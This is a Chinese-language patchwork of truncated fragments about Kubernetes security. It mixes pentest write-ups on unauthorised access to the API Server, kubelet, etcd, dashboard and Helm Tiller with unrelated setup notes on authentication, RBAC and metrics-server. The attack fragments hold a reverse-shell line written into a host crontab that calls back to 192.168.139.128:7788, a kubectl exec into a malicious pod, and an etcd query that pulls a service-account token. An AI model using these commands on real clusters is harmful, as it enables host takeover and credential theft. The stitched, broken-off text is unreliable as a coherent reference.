围绕未授权测试厂商的思路分享,话不多说,上干货 前段时间做漏洞统计,才发现已经挖了一年的运营商的漏洞了,回想起来,从23年5月到今年5月一年一路各种干未授权,废了不少脑筋,随着挖的人越来越多, 互联网暴露面漏洞只会越来越少...,心细会有一些新的领悟 和22年一样,简单的统计了23年5月到现在个人挖掘漏洞情况,平均到某月大概二十份,漏洞全部基于未授权测试,抽出一些比较典型的测试,做成类型案例,积累的多了,能易上手。...(案例涉及的漏洞均已修复,由于项目原因,严重厚码) 为了让大家更有代入感,简易画了张图,来表示后面的未授权测试过程 基于#的测试 站点映射了很多个h5的服务,但实际测试的时候是没有发现这些资产的,这种情况一直持续了好几个季度的测试...,包括国测、其他厂商测试,后续我通过基于#的测试,利用了缺少路由守卫的未授权访问缺陷,出了大量的高危。...或者是这样的401 因此,构造一处上传表单,看看结果 打成存储xss 另外,在一次测试中,我把这种测试思路扩展开来了,未授权文件上传是基于401的鉴权,如果遇到重定向,那怎么处理?
之后使用msf工具进行渗透测试: ?
云原生-K8s安全-etcd未授权访问 如上图所示:etcd服务是运行在master节点上的,master节点上查看该服务默认通过证书认证,主要存放节点的数据,如一些token和证书。...-只能本地访问,利用ssrf或其他进行获取secrets和token利用 *复现利用: *暴露etcd未授权->获取secrets&token->通过token访问API-Server接管 *SSRF...默认端口:8001 配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。...kubernetes dashboard的未授权其实分两种情况: 一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。...*复现利用: *用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard *Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限
原文首发在:先知社区https://xz.aliyun.com/news/90721在测试网站的时候发现一个未授权接口,但是要构造数据包,发现他的数据包是加密的,所以我得去将他的加密算法逆向出来才能开始下一步的渗透测试这是他的请求体数据错误的请求参数会报错接下来就是寻找加密函数的位置...填充方式(Padding)参数(可选但常用)定义:当明文长度不是分组长度的整数倍时,需要对明文进行填充,使其长度满足要求。常见的填充方式有 PKCS7 填充等。...密钥(Key):与加密时使用的密钥完全相同,用于解密操作。如果密钥不正确,解密将无法得到正确的原始明文。...初始向量(Initialization Vector,IV):解密时需要使用与加密时相同的初始向量,用于恢复第一个明文分组以及后续分组的正确解密。在传输密文时,通常会将 IV 和密文一起发送给解密方。...填充方式(Padding)参数:解密时需要知道加密时使用的填充方式,以便在解密后正确去除填充数据,还原出真正的明文。
Users:一个列表,每个元素是访问api-server时可选的User以及与该User相关的credential信息。...无论是在运行kubectl的时候即时从Authentication plug-in那里获取token还是事先就先取得token并写入到这个config文件中,在向api-server发起请求时,需要将Bearer...api-server通过Webhook Token Authentication机制从authentication plug-in处获得确认的答复后就算认识这个用户了。...token:访问api-server时需要出示的token。它是JSON Web Token。api-server会用它来做认证和授权检查。...前两者需要K8s的认证和授权模块介入,而第三者不需要。 以上就是本文的全部内容。谢谢!
攻击者通过未授权的 Tiller 服务部署恶意 Helm Chart → 2. 创建后门 Pod 并横向移动至 Istio 控制平面 → 3. 提取 Envoy 配置发现未加密的数据库服务 → 4....这些接口对于调试和监控非常有用,但同时也需要谨慎对待,以避免敏感信息泄露给未授权的用户。...attacker-service.default.svc.cluster.localEOFHelm Releases 与 Tiller(旧版本)攻击场景目标:利用旧版本 Helm(v2)的 Tiller 服务未授权访问漏洞...然而,在Helm 2中,如果未正确配置权限和认证,Tiller可能会成为安全风险点,因为它具有对Kubernetes资源进行增删改查的权限。...通过检查这些历史版本,您可以查找是否存在潜在的安全隐患,例如是否在部署时通过--set password=xxx这样的参数明文设置了敏感信息。
我们将探讨以下主题: Kubernetes 授权流程 为授权 Webhook 配置 Kubernetes API 服务器 授权请求的结构 编写授权 Webhook 生成自签名证书 Kubectl 身份验证怎么办...为授权 Webhook 配置 Kubernetes API 服务器 您需要配置 API 服务器以指定授权 Webhook 地址。 就个人而言,我使用 Kind 在本地测试 Kubernetes。...ResourceAttributes: 当请求访问 Kubernetes 资源(如 pod、服务等)时,此字段不为空。...现在使用受限服务帐户对其进行测试。为此,我们需要创建一个名为 test-user 的服务帐户。...参考资料 Webhook 模式 WebHook 是一个 HTTP 回调:当某些事情发生时发生的 HTTP POST;一个通过 HTTP 的简单事件通知… 控制对 Kubernetes API
针对 Kubernetes API 扩展与未授权访问 的详细攻击视角分析,聚焦 Custom Resource Definitions (CRD) 和 Aggregated API Servers 的潜在攻击面及利用方法...通过未授权的 metrics-server API 定位高负载节点 → 5. 横向渗透至数据库 Pod。...通过创建恶意的自定义资源实例,攻击者可能能够触发这些漏洞并执行未经授权的操作。以下是如何模拟这种攻击的示例,但请注意,实际执行此类操作是非法且违反道德的行为,仅应在合法授权的安全测试环境中进行。...但是,如果某个服务(例如metrics-server)配置不当,可能允许未经身份验证或未授权的访问,这就会成为一个安全隐患。...利用已知漏洞(以 metrics-server 为例) CVE-2020-8562:未授权访问 CVE-2020-8562 涉及的是Kubernetes metrics-server的一个安全漏洞,它允许攻击者通过未认证的
从本节开始完整的kubernetes集群的部署,也就是在前面基础集群的基础上增加了认证和授权,业内对kubernetes的评价的学习曲线陡,不容易入门,很大的原因就是环境的安装和部署,环境的安装和部署的最终原因其中的一半就归功于它的认证和授权...kubernetes的认证授权 Kubernetes集群的所有操作基本上都是通过kube-apiserver这个组件进行的,它提供HTTP RESTful形式的API供集群内外客户端调用。...引导Token 当我们有非常多的node节点时,手动为每个node节点配置TLS认证比较麻烦,这时就可以用到引导token的认证方式,前提是需要在api-server开启 experimental-bootstrap-token-auth...这个准入代码在api-server中,而且必须被编译到二进制文件中才能被执行。 在对集群进行请求时,每个准入控制代码都按照一定顺序执行。...常用组件(控制代码)如下: AlwaysAdmit:允许所有请求 AlwaysDeny:禁止所有请求,多用于测试环境 ServiceAccount:它将serviceAccounts实现了自动化,它会辅助
[1] 的访问接口,除此之外,它还负责 API 请求的认证(authN)[2]、授权(authZ)[3]以及验证[4]。...API-Server 是 kubernetes 控制层面中唯一一个与 etcd 交互的组件,kubernetes 的其他组件都要通过 API-Server 来更新集群的状态,所以说 API-Server...既然我们知道了 API-Server 的主要职责是提供 kubernetes 资源的 RESTFul API,那么客户端怎么去请求 kubernetes 资源, API-Server 怎么去组织这些 kubernetes.../apis/apps/v1/namespaces/{namespace}/deployments/{name} 通过获取资源的 JSON 或 YAML 格式的序列化对象,进而从资源的类型信息中可以获得该资源的...https://kubernetes.io/docs/reference/access-authn-authz/authentication/ [3] 授权(authZ): https://kubernetes.io
以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。...mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ API Server未授权访问...&kubelet未授权访问复现 k8s集群环境搭建 搭建环境使用3台Centos 7,参考: https://www.jianshu.com/p/25c01cae990c https://blog.csdn.net...tcp/192.168.139.128/7788 0>&1\n" >> /mnt/etc/crontab 简单分析下,可以看到计划任务写入了node1主机中 2、攻击6443端口:API Server未授权访问...-s https://10.10.10.167:6443 --namespace=default exec -it test-4444 bash -上述一样 3、攻击10250端口:kubelet未授权访问
当前版本HPA处于测试阶段(autoscaling/v2beta1)支持内存和其他自定义指标。...③ 架构 metrics-server 通过 kube-apiserver 发现所有节点,然后调用 kubelet APIs(通过 https 接口)获得各节点(Node)和 Pod 的 CPU、Memory...其实hepaster已经有暴露了api,但是用户和Kubernetes的其他组件必须通过master proxy的方式才能访问到,且heapster的接口不像api-server一样,有完整的鉴权以及client...kuberntes 自带插件的 manifests yaml 文件使用 gcr.io 的 docker registry,国内被墙,需要手动替换为其它 registry 地址(本文档未替换);可以从微软中国提供的...通过节点名称调用节点 kubelet API 失败的情况(未配置时默认的情况) 不验证客户端证书 image: gcr.azk8s.cn/google_containers/metrics-server-amd64
K8s集群往往会因为组件的不安全配置存在未授权访问的情况,如果攻击者能够进行未授权访问,可能导致集群节点遭受入侵。...比较常见的的组件未授权访问漏洞,主要包括 API Server 未授权访问、kubelet 未授权访问、etcd 未授权访问、kube-proxy 不安全配置、Dashboard未授权访问。...默认情况下,API Server提供两个端口服务,8080和6443,配置不当将出现未授权访问。 8080端口,默认不启动,无需认证和授权检查,一旦暴露将导致未授权访问。...(2)攻击过程 未授权访问的情况下,kubectl可以使用-s参数指定Kubernetes API服务器地址和端口,直接执行命令创建恶意Pod,将其挂载到Master节点,从而实现对整个集群的接管。...endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj 成功获取高权限服务账号token 通过token访问API-Server
创建角色绑定(主节点) 引导token的方式要求客户端向api-server发起请求时告诉他你的用户名和token,并且这个用户是具有一个特定的角色:system:node-bootstrapper,所以需要先将...12. kube-dns kube-dns有些特别,因为它本身是运行在kubernetes集群中,以kubernetes应用的形式运行。所以它的认证授权方式跟之前的组件都不一样。...它需要用到service account认证和RBAC授权。...service account认证: 每个service account都会自动生成自己的secret,用于包含一个ca,token和secret,用于跟api-server认证 RBAC授权: 权限、...直接copy就可以啦 cd ~/kubernetes-starter 新的配置没有设定api-server。
kubernetes最复杂的就是认证和授权,这次从头搭建另外一套3个虚机的kubernetes,还是通过vagrant来进行搭建,具体vagrant的配置信息查看源码:https://github.com...kubernetes-simple 简易版kubernetes配置模板(剥离了认证授权)。...kubernetes-with-ca 在simple基础上增加认证授权部分。...大家可以自行对比生成的配置文件,看看跟simple版的差异,更容易理解认证授权的(认证授权也是kubernetes学习曲线较高的重要原因) service-config 这个先不用关注,它是我们曾经开发的那些微服务配置...\ endpoint health api-server(主节点) 准备证书 #api-server证书放在这,api-server是核心,文件夹叫kubernetes吧,
在前文中介绍了在kubernetes 1.5.2集群环境中使用traefik进行服务发布。Traefik采用daemonset方式部署,连接api-server走的是http协议,也未配置rbac。...在 1.6 版本中 RBAC 还处于 Beat 阶段,如果想要开启 RBAC 授权模式需要在 apiserver 组件中指定 --authorization-mode=RBAC 选项。...简单点说RBAC实现了在k8s集群中对api-server的鉴权,更多的RBAC知识点请查阅官方文档:https://kubernetes.io/docs/admin/authorization/rbac...- kind: ServiceAccount name: traefik-ingress-controller namespace: kube-system 在启用rbac的环境下,如果鉴权未配置清楚...hosts文件,将4个域名的解析分配到两台节点上 3、浏览器访问测试 这里出现500错误的原因是,后端的kubernetes-dashboard配置的是https协议 可以在health
Kubernetes-Dashboard 是一个 管理 Kubernetes 集群的 Web UI,跟 kubectl 一样,其后端是 API-Server,使用在线的 YAML 文件部署 Kubernetes-Dashboard...RESTful API 我们可以集群中的任意节点访问 API-Server ,其端口是 6443。...需要一定权限才能访问,所以实际上用户使用 kubectl 工具时,也需要权限才能执行命令。...,我们可以使用 SelfSubjectAccessReview 这个 API 来获得权限信息资源,它将 API 服务器鉴权公开给外部服务,其 API 说明文档地址: https://kubernetes.io...前面我们访问 API 时,使用了 token,现在我们可以通过这个 config,来创建证书文件,通过证书访问。。
kubectl使用的补丁格式Strategic merge-patch是有机增长的,在保持与各种api-server版本的兼容性的同时进行修复是一个挑战。...服务器端应用是一种新的合并算法,以及跟踪字段所有权,运行在Kubernetes api-server上。服务器端应用支持新的特性,比如冲突检测,这样系统就可以知道两个参与者何时试图编辑相同的字段。...是的,服务器端应用程序从1.16起就已经是Beta版了,但是它没有跟踪与未应用的对象相关联的字段的所有者。这意味着大多数对象没有存储managedFields元数据,这些对象的冲突无法解决。...当发生这种情况时,可以使用--force-conflicts标志强制冲突,该标志将获取已更改字段的所有权。 当前的限制 目前我们有两个重要的限制,特别是在子资源方面。...我们也想借此机会感谢所有贡献者的辛勤工作,使这个新的测试版成为可能: Daniel Smith Jenny Buckley Joe Betz Julian Modesto Kevin Wiesmüller
工作量估计在请求调度的第一部分,我们介绍了api-server是如何限制服务负载以及如何进行请求调度。在调度中,一个非常重要的机制时:api-server需要估计每一个请求产生的负载。...请求的分类在Kubernetes中,api-server处理的请求大致可以分为两类:修改请求,例如:delete, create, update等查询请求,例如:list, get, watch。...而对于修改请求则相对比较复杂,主要在于,api-server在完成状态更改之后,Kubernetes的其他组件会观察到资源的更改,进而执行相应的操作。...在api-server的代码中通过下面的结构体来描述工作量的负载,Seats座位,是Kubernetes用于描述请求造成负载的基本单位,所谓的工作量估计就是计算seats。...获得了限流和请求调度的关键数据支撑。